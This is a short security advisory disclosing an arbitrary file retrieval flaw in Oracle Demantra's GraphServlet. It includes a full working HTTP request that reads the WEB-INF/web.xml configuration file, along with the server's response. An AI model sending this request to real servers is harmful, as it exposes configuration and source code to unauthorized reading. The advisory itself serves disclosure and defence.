Vulnerability title: Arbitrary File Retrival In Oracle Demantra
|Reported by:||Oliver Gruskovnjak|
The Team discovered a Local File Include (LFI) vulnerability. A file inclusion vulnerability occurs when a file from the target system is injected into a page on the attacked server page.
The vulnerable page is:
POST /demantra/GraphServlet HTTP/1.1 Host: 192.168.14.171:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 46 filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Pragma: No-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: image/png Content-Length: 44378 Date: Fri, 02 Aug 2013 20:20:58 GMT <?xml version="1.0" encoding="UTF-8"?> <web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"> <!-- Important Notice --> <!-- The order of elements in the web.xml is significant for some Application Server parsers like WebSphere. The expected order is examplified in the comments of this file. Each element section has a Start comment(***) and an End comment. Please make sure to add new elements in the appropriate section of the file delimited by the relevant comment. --> <!-- ***Icons Start --> <!-- ***Icons End --> -snip-
Impact can differ based on the exploitation and the read permission of the web server user. Depending on these factors an attacker might carry out one or more of the following attacks:
- Harvest useful information from the web.xml configuration file.
- Download the whole web application source code like the vulnerable page itself.
Exploit code is not required.
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